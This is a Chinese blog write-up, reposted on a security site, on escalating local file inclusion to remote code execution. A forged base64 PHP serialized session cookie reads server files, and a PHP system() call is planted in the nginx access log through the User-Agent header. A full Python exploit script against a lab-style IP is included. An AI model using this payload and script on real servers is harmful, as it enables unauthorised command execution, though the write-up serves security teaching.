从LFI到RCE

admin 2023年11月20日14:56:33评论6 views字数 2680阅读8分56秒阅读模式

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。


文章首发于个人博客:https://mybeibei.net,点击最下方“阅读原文”可直接跳转查看。

发现

在某个网络应用程序上进行长达数小时的信息收集及‘侦查’后,Cookie引起了白帽小哥的注意。

PHPSESSID -PHPSESSID Cookie是PHP原生,使网站能够存储序列化的状态数据。它用于建立用户会话,并通过临时Cookie(通常称为会话Cookie)传递状态数据。(关闭浏览器时过期)。通常使用Base64编码格式

从LFI到RCE

提示:尽量尝试解码一切可以解码的东西

可以使用在线网站,如base64decode.org进行解码:

从LFI到RCE

也可通过Python解码:

从LFI到RCE

为什么s=15?那是因为/www/index.html 的长度刚好是15(熟悉PHP反序列化的童鞋们肯定不陌生)

LFI漏洞

Local File Inclusion是一种攻击技术,攻击者可以欺骗Web应用程序在Web服务器上运行或暴露文件。LFI攻击可能会暴露敏感信息,在严重的情况下,它们可能会导致跨站点脚本(XSS)和远程代码执行。

那么如果我们将/www/index. html替换为/etc/passwd会怎样?

通过python将修改后的Cookie发送,看看结果:

从LFI到RCE

当然,也可以通过Burp来修改Cookie:

从LFI到RCE

从LFI升级至RCE

远程代码执行(RCE)攻击允许攻击者在计算机上远程执行恶意代码。RCE漏洞的影响范围可以从恶意软件执行到攻击者获得对受害机器的完全控制。

从LFI漏洞升级到RCE的最简单方法是日志‘投毒’

日志投毒或日志注入是一种允许攻击者篡改日志文件内容的技术,例如将恶意代码插入服务器日志以远程执行命令或反弹Shell。只有当应用程序存在LFI漏洞时,它才有效。

在本案例中由于无法获取反弹Shell,因此只能尝试使用 "ls -lsa"-"ls -l" 列出目录。

LFI漏洞只允许读取/执行文件,而无法写入或创建新文件,那么我们要如何注入呢?可以考虑把日志添加到服务器文件中。

首先,我们需要知道服务器是哪种类型:

从LFI到RCE

Nginx!那么日志一般会存放于/var/log/nginx/access.log

同样使用使用Python脚本来尝试访问日志文件:

从LFI到RCE

很好!那么让我们看看是否可以通过使用“User-Agent”来添加日志。

在python脚本中,添加如下内容:

headers = {'User-Agent': 'Facundo Fernandez'}

从LFI到RCE

查看响应:

从LFI到RCE

很棒!那么尝试改成:

headers = {'User-Agent': "<?php system('ls -lsa');?>"

成功执行!

从LFI到RCE

完整的python代码如下:

import base64

# Importing the base64 module, which is used for encoding and decoding base64 data.

# Creating a byte string that mimics a serialized PHP object.

# This could be used to exploit object injection vulnerabilities in PHP applications.

malicious_cookie = b'O:9:"PageModel":1:{s:4:"file";s:25:"/var/log/nginx/access.log";}'

print('Malicious Cookie:', malicious_cookie)

# Printing the created malicious byte string (cookie) for demonstration.

# Encoding the malicious cookie using base64.

# This is necessary because cookies are usually base64-encoded during HTTP communication.

malicious_cookie_encoded = base64.b64encode(malicious_cookie)

print('Malicious cookie encoded:', malicious_cookie_encoded)

# Printing the base64-encoded version of the malicious cookie.

# Our Target

# This should be a URL under your control or where you have permission to test.

url = 'http://142.93.32.153:31043'

# Creating a cookies dictionary with the 'PHPSESSID' as the key and the encoded malicious cookie as the value.

cookies = {'PHPSESSID': malicious_cookie_encoded.decode()}

# Creating a headers dictionary, attempting to pass PHP code in the User-Agent header.

# The intention here is to test for Remote Code Execution (RCE) by trying to get the server to execute the 'ls' command.

headers = {'User-Agent': "<?php system('ls -lsa');?>"}

# Sending a GET request to the specified URL with the malicious cookies and headers.

r = requests.get(url, cookies=cookies, headers=headers)

print(r.text)

# Printing the response text from the server.

# If the server is vulnerable and executes the code, you might see the result of the 'ls -lsa' command in the response.

generic

1.62 KB

© Guge's Blog

希望以上技巧能对你有所帮助~

感谢阅读,如果觉得还不错的话,欢迎分享给更多喜爱的朋友~

====正文结束====

原文始发于微信公众号(骨哥说事):从LFI到RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月20日14:56:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从LFI到RCEhttp://cn-sec.com/archives/2222235.html

发表评论

匿名网友 填写信息